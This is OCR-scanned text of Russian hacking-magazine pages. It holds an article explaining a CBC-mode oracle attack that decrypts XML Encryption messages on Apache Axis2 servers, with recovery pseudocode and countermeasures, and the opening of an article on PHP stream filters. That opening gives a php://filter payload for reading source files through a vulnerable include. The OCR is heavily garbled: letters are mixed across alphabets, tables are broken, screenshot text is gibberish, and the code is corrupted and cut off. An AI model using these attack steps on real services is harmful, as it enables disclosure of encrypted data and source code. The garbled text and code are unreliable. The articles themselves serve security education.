С [ 0 ] AES_ENC(k, IV xor М[ 0 ]); C[ i] AES_ENC(k, C[i- 1] xor M[i]);

//Дешифрование

М[ 0 ]

M[i] AES_DEC(k , С[~) xor IV; AES_DEC(k, C[i] ) xor C[i-1] ;

Здесь k- ключ , С- шифр отекс т, М- открытый текст, IV­вектор инициализации lсинхропосылкаl.

Стандарт не только nр е дпи сывает ис п ользовать режим шиф ­

рования СВ С. но и о пр еделя ет схему до п олнения данных до

полного блока.

Суть этой схемы, в которой также нет ничего сложного, такова:

неполный бло к с п омощью произвольных значений дополняется

до п олно го , а в е го п оследний байт вписывается количество этих

произвольн ы х з нач ен ий . Так, если п осл едни й блок содержит всего

три байта, то мы добавляем 12 про извольны х байт и оди н байт со

значе нием Dx05. Если же п оследний бл ок полон !содержит 16 байт!, то мы це пля ем к нему еще один блок, 15 байт которого задаются произвольно, а 16-й имеет зна ч е н ие Ох10.

ОСНОВНАЯ ИДЕЯ АТАКИ Прежде ч ем переходить к рассмотрению пра кт и ч еских случа­

ев, я о п ишу ос новную идею атаки на XM L Encгyptioп. Как ты уже

Защифоование

Вектор инициализации

Ключ

Расшифмвание

Ключ

Вектор инициализации

Отхрытый текст

Зашифрованный текст

Зашифрованный текст

Открытый текст

Ключ

Ключ

Режим СВС !шифрование и дешифрование!

ХАКЕР 01/156/2012

Открытый текст

Зашифрованный текст

Открытый текст

Ключ

Ключ

Открытый текст

Зашифрованный текст

Зашифрованный текст

Открытый текст

Взлом XM L En cгyption

Ключ

Вектор инициализации

IV1[0]

Упрощенный вариант атаки

Зашифрованный текст

догадался, ее не просто так ставят в один ряд с BEAST и Paddiпg Огасlе Attack. В данн ом случае атака также строится на пере -

даче атакуемому серверу специально сформированных за просов

и анализе получаемых сообщений об ошибках . П ерейдем к делу .

Основной недостаток режи ма шифрования СВС состоит в том, что

изменение шифрованного текста влияет на от крытый текст, то есть

если nрименить XOR к вектору инициализации IV и пр оиз вольной

Битовой маске MSK, то шифратекст IIV хо г MSK, C[DJI будет соот­ветствовать сообщению М[О) хо г MSK. Как видишь, зависимость в данном случае очень проста.

Чтобы осуществить предлагаемую атаку, нужно изме н ить

шифрованный текст с помощью маски MSK, передать измененное сообщение на удаленный сервер и nр оа н ализировать сообще ни е

об ошибке, которое позволяет узнать дополнительную информа ци ю

об открытом тексте . Таким образом, п олучается этакий побочный

канал для получения конфиденциальной информации.

Для начала давай разберемся с п ростеньким примерам атаки ,

который показывает, как получить открытый текст зашифрован ­

но го сообщения. Атака на XML Encгyptioп осно в ана именно на этой

идее, которая сле гка адаптирована к «реальному миру ».

Будем считать, что информация , которую мы п ередаем, коди­

руется в ASC II . Разобьем в сю таблицу ASCI I на д ве части. В первую ча ст ь войдут все символы, кроме NULL !список Al, а во вторую ­все остальные символы !список Bl. Шифрованный текст, п о луче н ­ный из открытого текста, символы которо го находятся в списке В,

будем считать «правильно сформированным>>. Таким образом, если

шифратекст сформирован правильно, то наш сервер nри парсин ге

открытого сообщения не будет выдавать ошибок. Усл овимся также,

что наши сообще н ия сос тоят всего лишь из одно го блока открыто ­

го текста, то есть из 16 байт, а удаленный сервер в ответ на наши запросы возвращает tгue, если от крытый текст М[О) = AES_DEC_ CBC[k, IIV, C[OJII не содержит за претно го символа NULL, и false - в противном случа е.

Теперь, п осылая запросы нашему серверу, можно по байтн о вос­

с танавливать сообщения. Алгоритм восстановления состоит всего

из тре х этапов:

1. Получаемтакой новый вектор ини ци али за ци и IV1, чтобы шифр о­

ванный текст [I V1, C[O] I был сформирован правильно. Для зто го просто случайно выбираем новый вектор инициализа ции niV, от­сы ла я на сервер п ару lniV, C[O]I . Если сер в ер возвращаетtгuе, то

IV1 = пiV, ну а в случае false п овторяем пр о ц едуруза н ово. В своей

019

Page 22: haker

COVERSTORY

WS-SECURITY

WS-Security - гибкое и многофункциональное расширение

SOAP, служа_щее для организации безопасного взаимодействия в веб-сервисах. WS-Secuгity активно использует XML Encгyption и XML Signatuгe.

статье авторы атаки объясняют, почему мы найдем такой вектор

инициализации за 2-3 обращения к серверу, но, я думаю, ты и сам уже догадался.

2. Побайтно восстанавливаем промежуточный открытый текст

[тот, который получен после AES_DEC при дешифровании, снова обрати внимание на первую иллюстрацию ! . Алгоритм восстанов­ления описывается следующим псевдокодом :

msk = е

repeat

msk++ IV2 = IVl xor ( е . .. e llmsklle ... е )

11 msk на j - й позиции

until Server((IV2, С[ е ] )) == true

returп X[j] = ASCIICode(NULL) xor IV2[j] 11 код " запретного·· символа

Вот что имеется у нас на входе и выходе :

Iпput:

C=(IVl, С[е]), - номер байта в блоке

Output: j-й байт X[j] блока промежуточ ного открытого текста Х = AES_DEC(k, С[е])

В алгоритме нет ничего сложного. Изменяя j-й байт вектора

инициализации, мы наблюдаем за сообщениями сервера и ждем,

пока на j-м месте в открытом тексте появится наш запретный

символ. Ты спросишь меня, почему так? Отвечу: таков режим СВС .

Для него справедливо следующее [опять все внимание на первую

иллюстрацию!:

AES_DEC_CBC(k, (IV2, С[е]))

IV2 xo r Х[е].

IV2 xor AES_DEC( k, С[е])

<?xml version= ' 1.0 ' encoding= ' utf-8 ' ?>

НЕПОЛНЫЙ БЛОК С ПОМОЩЬЮ ПРОИЗВОЛЬНЫХ ЗНАЧЕНИЙ ДОПОЛНЯЕТСЯ ДО ПОЛНОГО,

А В ЕГО ПОСЛЕДНИЙ БАЙТ ВПИСЫВАЕТСЯ КОЛИЧЕСТВО

ЭТИХ ПРОИЗВОЛЬНЬIХ ЗНАЧЕНИЙ

З. Так как весь промежуточный блок Х[О] восстановлен, то нам

остается получить блок открытого текста М [0]. Для зто го мы осуществляем операцию XOR надХ[О] и вектором инициализации IV. Воттакой незамысловатый алгоритм действий. Вся п оследова­

тельность наглядно проиллюстрирована на втором рисунке.

XML И XML ENCRYPTION ExteпsiЫe Maгkup Laпguage [или коротко XM LI представляет собой язык разметки для сериализации древовидных структу р . Важная

особенность XML состоит в том, что символы<«» и«»> разрешается

использовать только для обозначения узловых злементов [пodel. Так, если текст содержит один из этих символов, то перед сериали­

зацией в XML его необходимо заменить на «&lt;» или «&gt;» соот­ветственно. Точно так же для символа апмерсанда «&» прим е няет­

ся еsсаре-последовательность «&amp; >>. Перечисленные с войства XML играют важную роль при атаке на XML Епсгурtiоп.

Консорциум WЗС выпустил рекомендации XML Sigпatuгe и WЗС XML Епсгурtiоп, что способствовало стандартизации XM L и средств для применения криптографических примитивое [электронной цифровой подписи, симметричных ал горитмов и т. д.l к прои зволь­ным данным в формате XML.

Сначала разберемся с синтаксисом XML Епсгурtiоп, который проиллюстрирован на третьем рисунке. Как видно, спе ци фикация

описывает формат метаданных, используемых при шифровании

[идентификаторы ключей, алгоритмов, схем шифрования и т. д . l .

Наиболее важным является элемент <CipheгValue>, кото рый, соб ­

ственно, и содержит шифрованный текст.

Обработка полученного шифрованного сообщения осущест­

вляется с помощью крайне простого способа. Сначала во всем

документе проводится поиск элементов <EпcгyptedData>. Каждый

такой элемент содержит метаданные с информацией о ключах, ко­

торая разбирается, обрабатывается и используется для построения

ключа дешифрования данных . Затем содержимое <CipheгValue> из­

влекается и разбирается для получения шифрованного текста . Дл я

<Enc r yptedData Type= ' http://www.wЗ.org/2001/04/xmlEnc#Element ' xmlns= ' http://www.wЗ.org/2001/04/xmlEnc ' >

<Encr yptionMethod Algorithm= ' http://~~.w3.org/2001/04/xmlenc#aes128-cbc ' >

</Enc r yptionMethod> <Keyinf o xmlns= ' http://www.wЗ.org/2000/09/xmldsig# ' >

<KeyName >John Smith</ KeyName > </Keyinf o>l <Cipher Data >

<CipherValue>A123456 ... </CipherValue > </Cipher Data>

</Encr yptedData >

Синтаксис XML Encryption

020 ХАКЕР 01 / 156/ 2012

Page 23: haker

дешифрования nолученного шифротекста исnользуется алгоритм,

информация о котором содержится в элементе <EncгyptionMethod>.

Особенно важный момент для атаки настуnает на nоследнем этаnе,

когда откр ытый текст nарсится и вставляется в ХМ L-докуме н т.

Если во время процессадешиф рования и разбора возникает ошиб­

ка, то она передается ХМ L-процессору, который обычно выбрасы­

вает исключение. А что еще ему остается делать?:-]

Так как технологию XM L Е псгурtiоп можно nрименять к nроиз­вольной части дерева ХМL-документа !лишь бы она имела коррект­ный синтаксис XML], то для разных тиnов контента существуют разные режимы шифрования. Исnользуемый режим указывается

в nоле Туре тега <EncгyptedData>. Тиn Епсгурtеd Element означа-ет, что дешифрованию подвергается один ХМL-элемент со всеми

своими дочерними узлами. Тип Encгypted Content говорит о том, что дешифрова н ию подвергается nроизвольнее количество узловых

элементов со всеми своими дочерними элементами, комментария­

ми, инструкциями по обработке и т. д . Тиn Encгypted Text Conteпt, являющийся частным случаем тиnа Encгypted Conteпt, выделен

для таких открытых текстов, которые состоят только из текстовых

данных. Таким образом, информация в nоле Туре дает нам nодсказ­

ку об открытом тексте. Стоит отметить, что nри дешифровании этот

атрибут обычно игнорируется XM L Fгamewoгk'oм и не влияет на nо­следовательность действий nри обработке шифрованного текста.

Пару слов необходимо сказать и еще об одном важном момен­

те- кодировке. Стандарт XM L E пcгyption nредписывает исnользо­вать кодировку UTF-8, которая указывает битовое nредставление символов различных алфавитов, а также других сnециальных

символов. Н аиболее значимая для нас груnпа символов всей

таблицы UTF-8- это символы английского алфавита, цифры, а

также спецсимволы перевода строки lline feed ] и возврата каретки lcaггiage геtuгп]. Важно знать, что для этой групnы символов коды ASCII совnадают с кодами UTF-8.

Также ты наверняка nомнишь, что код ASCII nредставляет символы как одиночные байты и nозволяет закодировать 128 раз­личных символов !смотри рисунок 4]. Замечу, что эта кодировка использует только семь из восьми бит в байте, старший бит всегда

равен нулю.

nоследние несколько лет nоявилось довольно много фрейм­

ворков для разработки веб-сервисов. Одним из самых nоnулярных

решений в этой области является Apache Axis2 Fгamewoгk, модуль Rampaгt которого содержит реализацию стандарта WS-Secu г ity.

Этот стандарт и nозволяет нам применять XML Encгyption и XML Signatuгe в сообщениях SOAP.

Чтобы этот модуль можно было исnользовать в Axis2 Fгamewoгk, он должен быть элементом nотока обработки сообще­

ний lmessage flow]. Поток обработки сообщений lmessage flow]­это цеnочка модулей, каждый из которых получает входящее

SОАР-сообщение !или контекст сообщения], обрабатывает его и

nередает следующему модулю в цеnочке. Когда SОАР-сообщение

достигает конца цеnочки, оно nеренаправляется в Message Receiveг, который, в свою очередь, вызывает функцию класса

Seгvice и от n равляет результат пользователю сервиса.

Обычно п оток обработки сообщений в Axis2 состоит из трех модулей: Тгапsрогt, Secuгity и Dispatch. Модуль Secuгity, как видно

XM L SIGNATURE

XML Signature - сnецифика ция WЗС. определяющая синтаксис

и nорядок nр именения электронной цифровой nодписи и кодов

аутентифика ции для данных в формате XML.

ХАКЕР 01/156/2012

Взлом XM L Encгyption

ЧТО ТАКОЕ ОРАКУЛЫ?

В современной криптографии есть направление РгоvаЫе Secuгity,

которое подразумевает анализ исследуемой системы при активном

воздействии на нее. Предполагается, что злоумышленник имеет

возможность посылать запрос и анализировать полученный ответ,

затем создавать новый запрос на основе полученной информации,

опять получать ответ и т. д. Под оракулом понимают то, что отвечает

на запросы злоумышленника !сервер, просто комп, смарт-карту,

СКЭИ , шифровальщик и др . ). В нашем сегодняшнем примере в

качестве оракула выступает сервер с веб-сервисом, то есть мы

посылаем сервису запрос на обработку данных, а он возвращает

либо ошибку, либо результат обработки данных. Axis2, в свою очередь,- это фреймворк для создания веб-сервисов. Недавно

была новость про Paddiпg Oracle Attack, где в качестве оракула выступало приложение lвеб-сервис, сайт на ASP.NET), созданное с использованием .net.

из названия, отвечает за безопасность. В процессе обработки

зашифрованного сообщения он сначала осуществляет процесс

дешифрования, а затем парсит открытый текст с помощью парсера

XML и обновляет контекст SОАР-сообщения. Дешифрованный и проверенный контент передается модулю Dispatch. Как и Message Receiveг, каждый модуль в цепочке message flow может прервать процесс обработки сообщения SOAP nри возникновении ошибки, после чего процесс обработки прекращается и пользователю сер­

виса выдается соответствующее сообщен и е.

Теперь ты наверняка понял, к чему я все зто рассказывал и кто виновник уязвимости в Axis2 . :-]

ОШИБКИ В СИСТЕМЕ БЕЗОПАСНОСТИ В AXIS2 В качестве оракула у нас будет выступать сервер с веб - сервисом,

созданным с использованием Axis2. Пеначалу нам нужно понять, какие сообщения об ошибках безопасности выдает сервер, так как

тогда мы сможем отличить ответ tгue от ответа false нашего ораку­ла. При возникновении ошибки безоnасности сервис передает нам

secuгity fault. Причины генерации secuгity fault можно разделить на две категории :

1. Ошибкадешифрования

Такая ошибка возникает при не корректном дополнении послед­

него блока. Помнишь, я говорил, что последний байт каждого

сообщения содержит число, равное количеству дополненных

байтов? Так вот, этот последний байт может nринимать значения

от0х01 до OxlO, в nротивном случае мы nолучаем сообщение об ошибке.

2. Ошибкапарсинга данных Эта ошибка может возникнуть по двум причинам. Первая ­

открытый текст содержит «заnрещенные>> символы, то есть

символы с кодами ASCII от Ох ОО до Oxl F !за исключением Ох09, ОхОА, ОхОD- пробела, конца строки и возврата каретки]. Вторая причина-некорректный ХМL-синтаксис дешифрованного со­

общения, что означает появление в открытом тексте символа«& »

IOx26] или<« >> без соответствующего закрывающего символа«»> .

В обоих случаях мы получаем одинаковое сообщение об ошибке

и различить эти два случая между собой лишь по сообщению не

можем.

Как и в nриведенном ранее простом при мере, разобьем всю

нашу таблицу ASCII на две группы символов !все внимание на четвертый рисунок]. Групnа А содержит заnрещенные для формата XML символы nлюс два «зарезервированных>> символа<<& >> и<« >>,

ну а группа В включает в себя все остальные символы.

021

Page 24: haker

COVERSTORY

Теперь все готово для построения оракула. Как и в при мере, наш

оракул, то есть сервер, получает на вход один блок текста, зашифро­

ванного в режиме СВС, то есть 16-байтовый вектор инициализации

и зашифрованный блок такого же размера, и возвращает tгue или

false. Конечно, этот блок должен быть правильно <<обернул> в SОАР­сообщение, но здесь мы этим пренебрегаем. Итак, оракул возвращает

tгue, если сервер в ответ на SOAP(AES_ENC_CBC[k, [IV, CIJI передает нам secuгity fault, и возвращает false в противном случае .

Как я уже говорил, сервер не выдаст secuгity fault , если на сто­роне сервера сообщение имеет правильное дополнение до полного

блока, то есть открытый текст М имеет верную ХМ L- структуру :

PAD(M) ;; (IV xor AES_DEC(k, С))

Здесь должны выполняться следующие условия:

10 М, содержащий ХМL-тег<а>, обязательнодолжен содержать и

закрывающий тег </а>. 2о Если М содержит символ амперсанда <<&>>, то он должен служить

началом существующей еsсаре-последовательности, например

<<&gt». Зо М не должен содержать символы иэ определенной нами группы В.

В противном случае возникает ошибка secuгity fault, что позво­ляет нам использовать оракул точно так же, как и в предыдущем

более простом при мере.

ВОССТАНОВЛЕНИЕ ОТКРЫТОГО ТЕКСТА Ну вот, теперь все готово для того, чтобы описать алгоритм вос­

становления открытого текста из шифрованного . Этот шифрован­

ный текст может содержать Прои звольное число блоков . Мы будем

представпять его как массив C;[IV, С[1], ... , C[d]l, на первом месте в котором стоит вектор инициализации . Самое время еще раз

вспомнить, что в режиме СВС вектором инициализации для блока

C[i] является блок C[i-1]. Для простоты считаем, что открытый текст состоит только из

символов ASCII [то есть в тексте нет ни одного символа из расши­ренной секции UTF-81. В отличие от случая, описанного в просто м при мере, здесь «nравильно сформированным» шифротекетом

является такой шифротекст, открытый текст которого состоит

из символов группы В и имеет однобайтнее дополнение , то есть

последний его байт равен Dx01 [это допущение введено для более простого изложения идеи атаки!.

ВЕБ-СЛУЖБЫ

Веб-служба- это метод взаимодействия между двумя

электронными устройствами через сеть передачи данны х.

WЗС оnределяет web-seгvice как nрограммную систему,

с nроектированную для nоддержки интероnерабельности machine­to-machine-взaи модейств и я . И нтероnерабельность nодразумевает

открытость интерфейсов и сnособность взаимодействовать с

другими nр одуктами без каких-либо ограничений достуnа и

реализации. Зачастую интерфейсы взаимодействия оnисываются

на сnециальном я з ыке WSDL !Web Seгvices Descгiption Lan-guagel, в основе которого лежит XML. Веб-сервисы представляют собой наборы инструментов, к наиболее nоnулярным сnособам

исnользования которых относятся RPC IRemote ргосеduге calls, основная единица взаимодействия- вызов удаленной функции

или метода!, SOA !Seгvice-oгiented aгchitectuгe, основная единица взаимодействия- сообщение! и REST [Repгesentational state tгans­feгl. В nоследнем случае основными единицами взаимодействия

являются оnерации тиnа GET, POST, PUT, DELETE и т. д. в nротоколах

тиnа НТТР, которые не n оддерживают состоя ния .

022

Handlers (intercepters)

Message flow в Apache Axis2

Алгоритм восстановления открытого текста включает в себя

две процедуры. Первая [FindiVI подготавливает шифратекст к проведению атаки . Она принимает на вход С; [IV, С[1], ... , C[d]l и номер блока i, а возвращает <<правильно сформированныЙ>> блок шифртекста с новым вектором инициализации (;[iv, C[i]l. Здесь все практически так же, как в описанном выше просто м примере.

Вторая процедура [FindXbytel принимает на вход <<nравильно сфор­мированныЙ>> блок шифрованного текста [полученный при помощи FindiVI и возвращает j-й байт X[i][j] промежуточного блока открыто­го текста X[i]; AES_DEC[k, C[i]l. Используя эти процедуры , опишем

в пс е вдокоде алгоритм восстановления открытого текста.

Input: (;(С[ 0 ] ; IV, С[ 1 ), о о о' C[d)) Output: М;(М[ 1 ), M[d))

for i ; 1 to d do iv ; FindiV(C, i) for j ; 1 to 16

X[i)[j) ; FindXbyte(C[i), iv, j) end for X[i] (X[i)[1), ооо' X[i)[ 16)) M[i] ; X[i] xor C[i- 1]

end for return (М[ 1 ], о о о' M[d))

Алгоритмпрости не нуждается в подробном разъяснении.

Скажу лишь только, что получить открытый текст М таким способом

возможно благодаря режиму СВС [смотри на картинку, и все станет ясно! . Остается только рассказать тебе об устройстве двух загадоч­

ных функций: FindiV и FindXbyte .

ПРОЦЕДУРЫ FINDIV И FINDXBYTE Процедура FindiV чуть сложнее процеду ры из тестового nриме­

ра, и во многом, как часто бывает в прикладной криптографии,

эти с ложности носят переборно-технический характер. Подроб­

ное описание я приводить не буду, а ограничусь лишь изложени­

ем идеи.

Она, собственно, состоит в том , чтобы п е ребирать некоторые байты

вектора инициализации и , анализируя резул ьтат, решить две за­

дачи : убрать все символы<«» из открытого текста и задать такой

последний байт нового вектора инициализации IV, чтобы байт дополнения равнялся Ох01 . В результате мы получим правильно

дополненный шифратекст с одним байтом дополнения, требуемый

для процедуры FindXbyte. Эта nроцедура, во многом также имею­щая переборно-технический характер, сводится, в свою очередь,

к побитному восстановлению байта для блока промежуточного

открытого текста . Она немного сложнее аналогичной упрощенной

процедуры , описачной ранее, так как в данном случае <<запрещен­

ных СИМВОЛОВ» ГО f-3ЗДО больше.

ХАКЕР 01 /156/2012

Page 25: haker

Dec. Нех Char . Туре Dec. Нех Char. Туре

Block О Block 2 о 00 NUL А 32 20 SPC 1 01 SOH А 33 21 ! 2 02 STX А 34 22 " 3 03 ЕТХ А 35 23 # 4 04· ЕОТ А 36 24 $ 5 05 ENQ А 37 25 % 6 Об АСК А 38 26 & 7 07 BEL А 39 27 ' 8 08 BS А 40 28 (

9 09 н т в 41 29 )

10 ОА LF в 42 2А * 11 ОБ VT А 43 2В +

12 ос FF А 44 2С ' 13 OD CR в 45 2D -

14 ОЕ so А 46 2Е

15 OF SI А 47 2F 1 Block 1 Block 3

16 10 DLE А 48 30 о

17 11 DC1 А 49 31 1 18 12 DC2 А 50 32 2 19 13 DСЗ А 51 33 3 20 14 DC4 А 52 34 4 21 15 NAK А 53 35 5 22 16 SYN А 54 36 б

23 17 ЕТВ А 55 37 7 24 18 CAN А 56 38 8 25 19 ЕМ А 57 39 9 26 1А suв А 58 ЗА : 27 1В ESC А 59 зв ; 28 1С FS А 60 зс < 29 1D GS А 61 3D = 30 1Е RS А 62 ЗЕ > 31 1F us А 63 ЗF ?

Таблица ASCII с делением символов на группы

ВАРИАНТЫ АТАКИ На практике обычно всегда имеется дополнительная информация, ко­

торая во многом облегчает жизнь криптоаналитику. В данном случае

любые дополнительные сведения об открытом тексте [его статистика,

структура] могут во многом помочь и сократить число запросов к оракулу [удаленному серверу]. Так, например, знание XML 5chem'ы документа позволяет не тратить время на восстановление уже из­

вестного открытого текста [ХМL-тегов] и сосредоточить усилия на по­

лезной информации. В то же время, если мы знаем, что в данном поле

хранится, например, номер кредитной карты, это сильно сокращает

группы разрешенных и запрещенных символов и позволяет эффек­

тивно отсеивать при переборе ложные варианты байтов открытого

текста . Интересен также тот факт, что оракул можно использовать

не только для дешифровони я, но и для шифрования произвольных

данных с помошыс не известного нам ключа. В этом случае процедуру

надо начинат ь с конца [с пои .дне го блока], а процесс шифрования будет прохuдить «справа на еВО».

ВАРИАНТЫ ЗАЩ ~ Когда речь заходит о с редствах, помогающих предотвратить

изменение шифрова нного текста, в голову прежде всего прихо­

дит мысль об исп ользовании ЭЦП или аутентификации в рамках

стандарта XML 5ignatuгe. Однако этот способ защиты отпадает как неэффективный, nоскольку атака под названием XML 5ignatuгe Wгappiпg, разработанная довольно давно, nозволяет модифициро­

вать шифрованный текст в обход nодnиси и/или МАС . Второй оче­видный nуть- унификация сообщений об ошибках, чтобы хакеры

не могли расnознавать тиnы возникающих ошибок. Однако и этот

ХАКЕР 01/156/2012

в

в

в

в

в

в

А в

в

в

в

в

в

в

в

в

в

в

в

в

в

в

в

в

в

в

в

в

А

в

в

в

Взлом XML Encгyption

Dec. Нех Char. Туре Dec. Нех Char. Туре

Вlock 4 Вlock 6 64 40 ф в 96 60 ' в

65 41 А в 97 61 а в

66 42 в в 98 62 ь в

67 43 с в 99 63 с в

68 44 D в 100 64 d в

69 45 Е в 101 65 е в

70 46 F в 102 66 f в

71 47 G в 103 67 g в

72 48 н в 104 68 h в

73 49 I в 105 69 i в

74 4А J в 106 бА j в

75 4В к в 107 б В k в

76 4С L в 108 б С 1 в

77 4D м в 109 6D m в

78 4Е N в 110 б Е n в

79 4F о в 111 бF о в

Block 5 Block 7 80 50 р в 112 70 р в

81 51 Q в 113 71 q в

82 52 R в 114 72 r в

83 53 s в 115 73 s в

84 54 т в 116 74 t в

85 55 u в 117 75 u в

86 56 v в 118 76 v в

87 57 w в 119 77 ч в

88 58 х в 120 78 х в

89 59 у в 121 79 у в

90 БА z в 122 7А z в

91 5В [ в 123 7В { в

92 5С \ в 124 7С 1 в

93 5D ] в 125 7D } в

94 5Е - в 126 7Е - в

95 5F - в 127 7F DEL в

вариант тоже не идеален. Во-первых , он nерекладывает обязан­

ности по созданию системы унификации ошибок на разработчика

веб-сервиса, а во-вторых, nриводит к появлению других каналов

получения информации. В криnтографии давно известен класс

тайминг-атак, которые основаны на замерах времени, затрачи­

ваемого удаленным сервером на обработку заnроса. Пожалуй,

самая действенная мера , которую можно предложить,- это смена

режима шифрования СВС, основанного на блочном алгоритме,

на режим с одновременной аутентификацией [например, 150/IEC 19772:2009], но это влечет за собой необходимость nеределывания стандарта XML Encгyption . Вообще, если есть возможность, лучше

всего перевести шифрование на более низкий уровень 051 [наnри­мер, вместо XML Encгyption использовать версию 55L/TL5, которая не nодвержена ВЕА5Т] .

ВМЕСТО ЗАКЛЮЧЕНИЯ Мне нравятся все атаки , основанные на использовании оракулов

и анализе сообщений об ошибках, так как они ярко иллюстри­

руют ситуацию, когда разработчики берут отличные надежные

криптографические примитивы, но все равно получают epic fail . Я уверен, что уязвимость в XML Encгyption далеко не завершает сnисок багов, которые nозволяют nроводить атаки side-channel, и nодобные уязвимости еще проявят себя. Надеюсь, что тебе

было интересно, а если ты хочешь обсудить какие-то моменты

этой статьи, смело nиши мне на почту. Наnоследок хочу выразить

благодарность Juгaj 5omoгovsky и ТiЬог Jageг, обнаружившим эту

уязвимость, за очередной интересный nример применения криn­

таанализа на практике. :Х:

023

Page 26: haker

ЭКСПЛУАТАЦИЯ СВЕЖИХ УЯЗВИМОСТЕЙ В ФУНКЦИЯХ ДЛЯРАБОТЫ С ФАЙЛАМИ ВРНР

РНР предоставляет богатые

возможности для работы

с файлами . Любой веб­

программист сталкивался с

функциями fopen, сору, file_get_ contents и т. д. Однако далеко не каждый знает о таких довольно

эффективны х конструкциях , как

фильтры и потоки, в которых

совсем недавно обнаружились

крайне серьезные баги .

PrOxor [php.m4sqllagmail.com, rdot.org/foruml

Ба г с ключами $ FILES не является багом самого язы к а, а обусловл ен негра­

мотнонаписанными

ск риптами .

Атака '-"

на аиль1 Ьil. ly/sfDcys­nocлeдняя версия

класса L ightлiлg ­Template.

blt.ly/tТtvWV -nример использования

класса Lightning­Template.

Ьit.!y/mdrdqf­cтaтья, подробно рассказывающая об уязвимости File path injection.

pastebln.com/1edSuSVN - nример

использования

уязвимости File path injection.

Ьit . ly/g6ztDЗ- описание уязвимости , связанной

снеправильной обработкой ключей в массиве $_FILES.

На нашем диске

ты см ожешь

найти nодробное обучающее видео ко всем описанным в

статье nримерам .

СТАНДАРТНЫЕ ФИЛЬТРЫ Прежде чем приступать к описанию новых векторов атак, хочу

немного рассказать о фильтрах и п отоках, которые поя в ились

еще в РН Р 4.3 и предоставили скриптам абстрактный слой для досту па к файлам. Различные ресурсы в РНР [сетевые соедине­

ния , протоколы сжатия и т. д . l могут ра ссматриваться как << пото­ки>> данны х. Можн о по следовательно считывать информацию из

таких потоков или записывать ее в них . П ри этом существует ряд

зарегистрированных в Р Н Р фил ьтров, с помощью которых мож н о

модифицировать дан н ые, п олучаемые из потока. Дл я того чтобы

получить список имеющихся в твоей системе фильтров, достаточно

выполнить такой код :

print _r(st r eam_get _fi lters());

Ч тобы ис п ользовать фи л ьт р , его н ужно связать с пото­

ком. Э т о делается с помо щью функ ц ии stгeam _filter_append/

~~х . .. .... - .... _ ___ ,. .....__llriWolo,.., 1 ....... -.

... ... ,.., .L.oc ...... ",....,__Pif'

': , •~qt\0~· lt II PHDOd( ' lllrJWII ' ) I , .

, .. 'Т.. t-l&tO ftiH~ t ... t -· tM kLU I ~>laLO""

• -ТТI. ,koll -~·-"• Т.• • С-lоно" or t llo •"""'""' ""-•1••••• : r_t...., ...,.. --.1-..... но" ot co••иo•Lol lotpor.,. ...,.. N-l•t•d tM-•

• • n. ••и~r .,... - tA8'p tr.., tor 'Dltto •-L•<••· - <~•• t-L••• rLI• (r•.-o.• .u • '!"lt1 8~LIUI

'I---18UI--Oil

: ,·-~·lojlaiJ

cL- IIIpЬЬ_t_I....,_II Иir c•t•lld.o• ... _...,r_Hiter

Самполисный фильтр в девелоперекой версии форума рhрВВЗ

ХАКЕР 01 /156/2012

Page 27: haker

stгeam_filteг_pгepend или же с nомощью враnпера php://f ilteг. Первый способ предоставляет больше возможностей для работы

с фильтрами, но второй более компактен, что тоже обеспечивает

определенные преимущества. Вот один пример использования

фильтров для кодирования строки:

$fp = fopen( 'php ://output ' , ' w' ); stream_filter_append($fp,

'convert . quoted-printaЫe-encode ' );

fwrite($fp, "I \ v Love \ v PHP .\n" );

А вот пример однострочного скрипта, который получает данные

методом POST, кодирует их в Base64 и выводит обратно:

readfile( "php: //filter/ read=convert . base64-encode/ resource=php: // input" );

В ообще, РНР позволяет осуществлять подстановку одного

враппера в другой, что помогает очень сильно сократить код. На­

пример, соединение с удаленным ftр-сервером, скачивание с него

gz-архива, распаковку этого архива и сохранение его у себя на веб­

се рвере можно закодить всего в одной строке :

copy( 'compress.zlib: // ftp:/ / user:[email protected] : 21/ path / file. dat. gz' , '/local / сору / of / file . dat' ) ;

Враппер php://filteг также применяется и для обеспечения безопасности веб-приложений . Например, скрипт

include ($_POST[ 'inc ' ]) ;

при настройке «allow_uгl_iпc l ude = Off>> не позволит злоумыш­лен ни ку провести атаку RFI. Однако этот скрипт вполне позволяет прочитать локальные РНР-файлы- для этого достаточно послать

уязвимому сценарию следующий РОSТ-запрос :

inc=php://filter/read%3Dconvert.base64-encode/resource%3D/ path/script.php

Хотя встроенные фильтры предоставляют впечатляющие воз­

можности для решения самых разнообразных задач, разработчи­

ки РНР пошли дальше и позволили веб-программистам создавать

со бственные фильтры. И вот это уже интереснее всего!

ПИШ~М СВОЙ ФИЛЬТР О создании пользо вательски х фильтров написано мало и от­

рывочно, некоторые функции, необходимые для этого, очень

с кудно документированы. Тем не менее веб-приложения с такими

фильтрами существуют. Предположим, что нам необходимо об­

рабатывать п отоки с помощью функции п12Ьг. Для этого мы и на­

пишем свой фильтр. Я не буду приводить код полностью, поясню

лишь основные моменты метода filteг !полный код ищи на нашем

диске] . Итак, для начала нам нужно считать данные из потока. В даль­

нейшем мы будем обрабатывать их с сохранением во внутренней

переменной «$this-> _data >> :

private $_data;

while ($bucket = stream_bucket_make_writeaЫe($in))

$this- >_data .= $bucket->data; $this->bucket = $bucket; $consumed = е ;

}

Когда мы прочитаем все данные из потока, параметр $closing примет значение TRUE. Теперь можно их обрабатывать :

ХАКЕР 01/156/2012

Атака на файлы

if($closing) { $consumed += strlen($this->_data); $str = nl2br($this->_data); $this->bucket->data = $str; $this->bucket->datalen = strlen($this->_data);

i Secure [9ist.github.com/600388/cd99ae03c3

<head> <meta cha~set="utf-8" /> <tit1e>{{ tit1e }}</tit1e>

</head> <bodY>

<h1>{{ tit1e }}</h1> <р>Не11о {{ name }}</р>

1С <р> {{ meззagelзafe }}</р>

<h2> Iteiilз</h2>

<u1> {% fo~ ite!il in ite!ilз %}

{% if ite!il %}

<1i>{{ ite!il }}</1i> {% endif %}

{% endfo~ %} </u1>

</bodY> </htm1>

sample.php #

< ?php

require_once 'LightninqТemp1ate.php' ;

~ite!ils = array(

'hoge' , null, '<b>fuga</b>' , О , 'piyo' , h ) ;

$1t = new LightninqТemp1ate( 'з8Iilp1e . htm1' );

$1t->tit1e = 'Samp1e Temp1ate' ; $1t->n8Ule = 'Yo~1d' ;

$1t->Iilessage = '<b>hi'</b>' ; lG $1t->ite!ils = $items ;

echo $lt; 1

sarnple_cache.php #

1 1

< ?php

require_once 'LightninqТeiilp1ate . php' ;

Н te!ils = array (

'hoge' , null, '<b>fuga</b>' , О , 'piyo' , );

$1t = new LightninqТemp1ate(

